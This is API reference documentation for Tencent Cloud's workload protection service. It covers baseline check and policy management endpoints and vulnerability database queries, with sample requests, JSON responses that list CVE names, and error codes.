The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
FailedOperation	Operation failed.
InternalError	Internal error
InvalidParameter	Incorrect parameter.
OperationDenied	The operation was denied.

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StopBaselineDetect

Last updated：2024-12-06 15:40:49

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to stop baseline check.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: StopBaselineDetect.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
TaskIds.N	Yes	Array of Integer	Cancel task ID collection

3. Output Parameters

Parameter Name	Type	Description

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RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Stopping Detecting Tasks

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: StopBaselineDetect
<Common request parameters>

{
"TaskIds": [
"1"
]
}
```

Output Example

```
{
"Response": {
"RequestId": "bde0e73e-aedb-4444-b186-23b767bab82a"
}
}
```

5. Developer Resources

SDK

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.

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SyncBaselineDetectSummary

Last updated：2024-12-06 15:40:49

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to sync the summary of baseline detection progress.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: SyncBaselineDetectSummary.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
TaskIds.N	No	Array of Integer	IDs for calculating the progress of ongoing check tasks. Generally, this parameter is not required.

3. Output Parameters

Parameter Name	Type	Description
ProgressRate	Integer	Processing progress

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NotPassPolicyCount	Integer	Total number of failed policies
HostCount	Integer	Total number of hosts
StartTime	String	Start time
EndTime	String	End time
WillFirstScan	Integer	1: first scan about to start; 0: already scanned.
DetectingTaskIds	Array of Integer	ID of ongoing detection task
LeftMins	Integer	Remaining scanning time (minutes)
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Syncing Detection Overview

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: SyncBaselineDetectSummary
<Common request parameters>

{}
```

Output Example

```
{
"Response": {
"DetectingTaskIds": [
2379
],
"EndTime": "2020-11-21 15:16:00",
"HostCount": 1,
"LeftMins": 3,
```

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```
"NotPassPolicyCount": 19,
"ProgressRate": 20,
"RequestId": "69fce851-ee60-44ac-8ab1-62c2c7856051",
"StartTime": "2022-08-23 15:07:02",
"WillFirstScan": 0
}
}
```


Example2 Obtaining the Summary of the Specified Task ID

This example shows you how to obtain the summary of the specified task ID.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: SyncBaselineDetectSummary
<Common request parameters>

{
"TaskIds": [
299,
298
]
}
```

Output Example


```
{
"Response": {
"DetectingTaskIds": [],
"EndTime": "2023-12-25 12:05:27",
"HostCount": 31,
"LeftMins": 0,
"NotPassPolicyCount": 1,
"ProgressRate": 100,
"RequestId": "5f862bd8-6931-45ee-a5d9-0fe2c4ea30d7",
"StartTime": "2023-12-25 09:36:00",
"WillFirstScan": 0
}
}
```


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5. Developer Resources

SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
FailedOperation	Operation failed.
InternalError	Internal error

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DescribeHotVulTop

Last updated：2024-12-06 15:40:53

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain hot spot vulnerabilities across the entire network.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeHotVulTop.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.

3. Output Parameters

Parameter Name	Type	Description
List	Array of VulStoreListInfo	Vulnerability information Note: This field may return null, indicating that no valid values can be obtained.

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RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining Hot Spot Vulnerabilities of the Whole Network

This example shows you how to obtain hot spot vulnerabilities of the whole network.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeHotVulTop
<Common request parameters>

{}
```

Output Example

```
{
"Response": {
"List": [
{
"AttackLevel": 3,
"CveId": "CVE-2023-23638",
"FixSwitch": 0,
"Level": 4,
"Method": 0,
"Name": " Vulnerability of Apache Dubbo deserialization remote code execution (CV
E-2023-23638)",
"PublishDate": "2023-03-08 00:00:00",
"SupportDefense": 1,
"VulCategory": 2,
"VulId": 102561
},
{
"AttackLevel": 3,
"CveId": "CVE-2023-25194",
"FixSwitch": 0,
"Level": 3,
"Method": 0,
```

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```
"Name": "Vulnerability of Apache Kafka Connect remote code execution (CVE-2023-25
194)",
"PublishDate": "2023-02-08 00:00:00",
"SupportDefense": 1,
"VulCategory": 2,
"VulId": 102518
},
{
"AttackLevel": 3,
"CveId": "CVE-2022-42889",
"FixSwitch": 0,
"Level": 4,
"Method": 0,
"Name": "Vulnerability of Apache Commons Text StringLookup remote code execution
(CVE-2022-42889)",
"PublishDate": "2022-10-13 00:00:00",
"SupportDefense": 1,
"VulCategory": 2,
"VulId": 102228
},
{
"AttackLevel": 3,
"CveId": "CVE-2022-42003",
"FixSwitch": 0,
"Level": 3,
"Method": 0,
"Name": "FasterXML jackson-databind code issue vulnerability (CVE-2022-42003)",
"PublishDate": "2022-10-02 00:00:00",
"SupportDefense": 1,
"VulCategory": 2,
"VulId": 102256
},
{
"AttackLevel": 3,
"CveId": "CVE-2022-33891",
"FixSwitch": 0,
"Level": 3,
"Method": 0,
"Name": "Apache Spark UI command injection vulnerability (CVE-2022-33891)",
"PublishDate": "2022-07-18 00:00:00",
"SupportDefense": 1,
"VulCategory": 2,
"VulId": 102133
}
],
"RequestId": "0d4c94aa-14b0-4b42-aeec-eeeae3266bb1"
```


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```
}
}
```

5. Developer Resources

SDK

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.

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DescribeVulStoreList

Last updated：2025-03-11 23:00:02

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the vulnerability database list.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeVulStoreList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Filters.N	No	Array of Filter	• VulName- string - required: no - vulnerability name • CveId- string - required: no - cveid • VulCategory- string - required: no - vulnerability category: 1: WEB-CMS vulnerabilities; 2: application vulnerabilities; 4: Linux software vulnerabilities; 5: Windows system vulnerabilities • Method- string - required: no - detection method: 0: version comparison; 1: POC detection • SupportDefense - string - required: no - whether the defense is supported: 0: no; 1: yes • FixSwitch - string - required: no - whether automatic fixing is supported: 0: no; 1: yes

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Limit	No	Integer	Limit Entries, 10 by default, up to 100
Offset	No	Integer	Offset, which is 0 by default.
Order	No	String	Sorting Method: [ASC: Ascending Order, DESC: Descending Order]
By	No	String	Optional sorting columns: [PublishDate].

3. Output Parameters

Parameter Name	Type	Description
List	Array of VulStoreListInfo	Vulnerability information Note: This field may return null, indicating that no valid values can be obtained.
TotalCount	Integer	Total number
Remaining	Integer	Remaining Searches for Today
FreeSearchTimes	Integer	Free Search Count
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining the List of Vulnerability Databases

This example shows you how to obtain the list of vulnerability databases.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeVulStoreList
<Common request parameters>
```

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```
{
"Filters": [
{
"Name": "abc",
"Values": [
"abc"
],
"ExactMatch": true
}
],
"Limit": 0,
"Offset": 0,
"Order": "abc",
"By": "abc"
}
```

Output Example

```
{
"Response": {
"FreeSearchTimes": 1,
"List": [
{
"AttackLevel": 3,
"CveId": "CVE-2023-46604",
"FixSwitch": 0,
"Level": 4,
"Method": 0,
"Name": "Apache ActiveMQ Remote Code Execution Vulnerability (CVE-2023-46604)",
"PublishDate": "2023-10-24 00:00:00",
"SupportDefense": 1,
"VulCategory": 2,
"VulId": 105006
}
],
"Remaining": 1,
"RequestId": "e5b4724c-49af-46ab-bd84-cdbae897e7e0",
"TotalCount": 1
}
}
```

5. Developer Resources

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.

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ModifyBaselinePolicy

Last updated：2024-12-06 15:40:50

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to change the baseline policy settings.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ModifyBaselinePolicy.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Data	Yes	BaselinePolicy	None
Filters.N	No	Array of Filter	• RuleName - String - required: no - rule name • CategoryId - int64 - required: no - customized filtering: -1 - rule category • RuleType - int - required: no - 0: system default; 1: customized - rule type
SelectAll	No	Integer	Whether to select all based on the filtering criteria

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3. Output Parameters

Parameter Name	Type	Description
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Modifying a Policy

This example shows you how to modify a policy.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: ModifyBaselinePolicy
<Common request parameters>

{
"Data": {
"DetectTime": "02:00:00",
"PolicyName": "test1",
"DetectInterval": "1",
"AssetType": "0",
"IsEnabled": "1",
"PolicyId": "268",
"RuleIds": [
"11"
],
"IsDefault": "0"
}
}
```

Output Example

```
{
"Response": {
"RequestId": "9549bbb8-915f-4c0c-a03c-5b069d70b4d9"
```

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```
}
}
```

Example2 Adding Custom and System Rules

This example shows you how to add custom and system rules.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: ModifyBaselinePolicy
<Common request parameters>

{
"Data": {
"DetectTime": "03:00:00",
"PolicyName": "Policy 1111",
"DetectInterval": "1",
"AssetType": "0",
"IsEnabled": "1",
"PolicyId": "1",
"RuleIds": [
"4611686018427387909",
"128"
]
}
}
```

Output Example

```
{
"Response": {
"RequestId": "07c4d170-f547-4a44-be2e-7f992d483f26"
}
}
```

5. Developer Resources

SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
FailedOperation	Operation failed.
InternalError	Internal error
InvalidParameter	Incorrect parameter.

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Baseline Management APIs
DescribeBaselineTop

Last updated：2024-12-06 15:41:24

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to query TOP baseline detection items based on policy IDs.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeBaselineTop.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Top	Yes	Integer	Dynamic top value
StrategyId	Yes	Integer	Policy ID

3. Output Parameters

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Parameter Name	Type	Description
RuleTopList	Array of BaselineRuleTopInfo	List of top check items Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Querying Top Baseline Check Items

This example shows you how to query top baseline check items based on policy ID.

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=DescribeBaselineTop
&StrategyId=1
&Top=5
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "f1dd9f5e-4ac0-48a7-9410-c86d24656d9a",
"RuleTopList": [
{
"RuleName": "Check item name 1",
"Level": 1,
"EventCount": 4000,
"RuleId": 1
},
{
"RuleName": "Check item name 2",
"Level": 2,
"EventCount": 4000,
"RuleId": 2
}
]
```

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```
}
}
```

5. Developer Resources

SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
FailedOperation.NoProfessionHost	No Pro Edition host.
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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DescribeBaselineHostTop

Last updated：2024-12-06 15:41:27

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to return Top N risky servers.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeBaselineHostTop.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Top	Yes	Integer	Dynamic top value
StrategyId	Yes	Integer	Policy ID

3. Output Parameters

Parameter Name	Type	Description

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BaselineHostTopList	Array of BaselineHostTopList	Top host baseline policy events Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 APIs with Top Server Risks

This example shows you how to query the APIs with top server risks.

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=DescribeBaselineHostTop
&Top=5
&StrategyId=1
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "f1dd9f5e-4ac0-48a7-9410-c86d24656d9a",
"BaselineHostTopList": [
{
"HostName": "Host 1"
}
]
}
}
```

5. Developer Resources

SDK

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Command Line Interface

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
FailedOperation.NoProfessionHost	No Pro Edition host.
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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DescribeBaselineDefaultStrategyList

Last updated：2024-12-06 15:41:28

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to query the list information of default policies of the baseline.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeBaselineDefaultStrategyList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.

3. Output Parameters

Parameter Name	Type	Description
StrategyList	Array of DefaultStrategyInfo	List of the basic default policy information Note: This field may return null, indicating that no valid values can be obtained.

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RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Querying the Default Baseline Policy List

This example shows you how to query the list of the user's default policies.

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=DescribeBaselineDefaultStrategyList
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "req-566234234",
"StrategyList": [
{
"StrategyName": "Policy name",
"StrategyId": 1
},
{
"StrategyName": "Policy name 2",
"StrategyId": 2
}
]
}
}
```

5. Developer Resources

SDK

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error

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CreateBaselineStrategy

Last updated：2024-12-06 15:41:30

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to create a baseline policy based on the policy information.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: CreateBaselineStrategy.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
StrategyName	Yes	String	Policy name
ScanCycle	Yes	Integer	Check cycle, indicating the number of days between checks. Example: 2, indicating that the check is carried out every 2 days.
ScanAt	Yes	String	Time for a periodic check. The scan task is issued at this time. Example: "22:00", indicating that the task is issued at 22:00.
CategoryIds.N	Yes	Array of Integer	Array of selected baseline IDs under this policy. Example: [1,3,5,7]

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IsGlobal	Yes	Integer	Whether all servers are scanned. 1: yes; 0: no. If the value is 1, all Professional Edition hosts are scanned.
MachineType	Yes	String	Cloud host type: CVM: virtual machine BM: bare metal server ECM: edge computing machine LH: Lighthouse Other: hybrid cloud machine
RegionCode	Yes	String	Host region. Example: "ap-guangzhou"
Quuids.N	No	Array of String	Host ID array. Example: ["quuid1","quuid2"]

3. Output Parameters

Parameter Name	Type	Description
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Creating Baseline Policy

This example shows you how to create the baseline policy based on the baseline information.

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=CreateBaselineStrategy
&StrategyName=test
&ScanCycle=1
&ScanAt=00:00:00
&CategoryIds.0=1
&IsGlobal=1
&MachineType=CVM
&RegionCode=ab-bj
```

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```
&Quuids.0="quuid1"
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "657f3c29-4bc9-4c48-a8d6-de5bd14ffc67"
}
}
```

5. Developer Resources

SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
FailedOperation.NoProfessionHost	No Pro Edition host.
FailedOperation.TooManyStrategy	The maximum number for baseline policy creation is exceeded.

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InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.IllegalRequest	Invalid request.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
OperationDenied	The operation was denied.
ResourceNotFound	The resource does not exist.

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DescribeStrategyExist

Last updated：2024-12-06 15:41:23

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to query whether a policy exists by policy name.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeStrategyExist.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
StrategyName	Yes	String	Policy name

3. Output Parameters

Parameter Name	Type	Description
IfExist	Integer	Whether the policy exists. 1: yes; 0: no.

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		Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Querying a Policy Based on a Policy Name

This example shows you how to query whether a policy exists based on a policy name.

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=DescribeStrategyExist
&StrategyName="Policy 1"
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "req-566234234",
"IfExist": 1
}
}
```

5. Developer Resources

SDK

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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UpdateBaselineStrategy

Last updated：2024-12-06 15:41:20

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to update the policy information based on baseline policy IDs.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: UpdateBaselineStrategy.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
StrategyId	Yes	Integer	Policy ID
StrategyName	Yes	String	Policy name
ScanCycle	Yes	Integer	Detection period
ScanAt	Yes	String	Time when routine detection scans are triggered.
CategoryIds.N	Yes	Array of String	Array of baseline IDs selected under this policy

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IsGlobal	Yes	Integer	Whether all servers are scanned: 1: yes; 0 :no. If the value is 1, all Professional Edition hosts are scanned.
MachineType	Yes	String	CVM type: cvm: Tencent Cloud Virtual Machine bm: bare metal ecm: edge computing host lh: Tencent Cloud Lighthouse other: hybrid cloud machine
RegionCode	Yes	String	Host region ap-guangzhou
Quuids.N	Yes	Array of String	Host ID array

3. Output Parameters

Parameter Name	Type	Description
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Updating Baseline Policy Information

This example shows you how to update policy information based on the baseline policy ID.

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=UpdateBaselineStrategy
&StrategyName="test"
&ScanCycle=1
&ScanAt="00:00:00"
&CategoryIds.0=1
&IsGlobal=1
&MachineType="CVM"
&RegionCode="ab-bj"
&Quuids.0="123"
&StrategyId=1
&<Common request parameters>
```

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Output Example

```
{
"Response": {
"RequestId": "935e27b1-d675-4509-80bf-96fbf0764237"
}
}
```

5. Developer Resources

SDK

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Command Line Interface

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
FailedOperation.NoProfessionHost	No Pro Edition host.
InternalError	Internal error
InvalidParameter	Incorrect parameter.

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InvalidParameter.IllegalRequest	Invalid request.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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DeleteBaselineStrategy

Last updated：2024-12-06 15:41:29

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to delete the policy by baseline policy ID.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DeleteBaselineStrategy.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
StrategyId	Yes	Integer	Baseline policy ID

3. Output Parameters

Parameter Name	Type	Description
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the

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		request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Deleting Baseline Policy APIs

This example shows you how to delete the baseline policy based on the baseline policy ID.

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=DeleteBaselineStrategy
&StrategyId=1
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a"
}
}
```

5. Developer Resources

SDK

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Command Line Interface

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
FailedOperation	Operation failed.
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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DescribeBaselineStrategyList

Last updated：2024-12-06 15:41:25

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to query the information of baseline policies under the same user.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeBaselineStrategyList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Limit	Yes	Integer	Pagination parameters (The maximum number is 100.)
Offset	Yes	Integer	Pagination parameter
Enabled	Yes	Integer	Rule switch: 1 - on; 0 - off; 2: all

3. Output Parameters

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Parameter Name	Type	Description
TotalCount	Integer	Total number of pagination query records Note: This field may return null, indicating that no valid values can be obtained.
StrategyList	Array of Strategy	User policy information list Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Querying User Baseline Policy List

This example shows you how to query all policy information on the user based on the app ID.

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=DescribeBaselineStrategyList
&Enabled=1
&Limit=10
&Offset=0
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "f1dd9f5e-4ac0-48a7-9410-c86d24656d9a",
"TotalCount": 2,
"StrategyList": [
{
"StrategyName": "Policy name",
"StrategyId": "Policy ID",
"HostCount": 50,
"ScanCycle": 3,
"ScanAt": "00,00,00",
"Enabled": 1
},
{
"StrategyName": "Policy name 2",
```

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```
"StrategyId": "Policy ID",
"HostCount": 60,
"ScanCycle": 3,
"ScanAt": "12,00,00",
"Enabled": 1
}
]
}
}
```

5. Developer Resources

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.IllegalRequest	Invalid request.

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InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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DescribeBaselineStrategyDetail

Last updated：2024-12-06 15:41:25

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to query policy details by baseline policy ID.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeBaselineStrategyDetail.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
StrategyId	Yes	Integer	User baseline policy ID

3. Output Parameters

Parameter Name	Type	Description
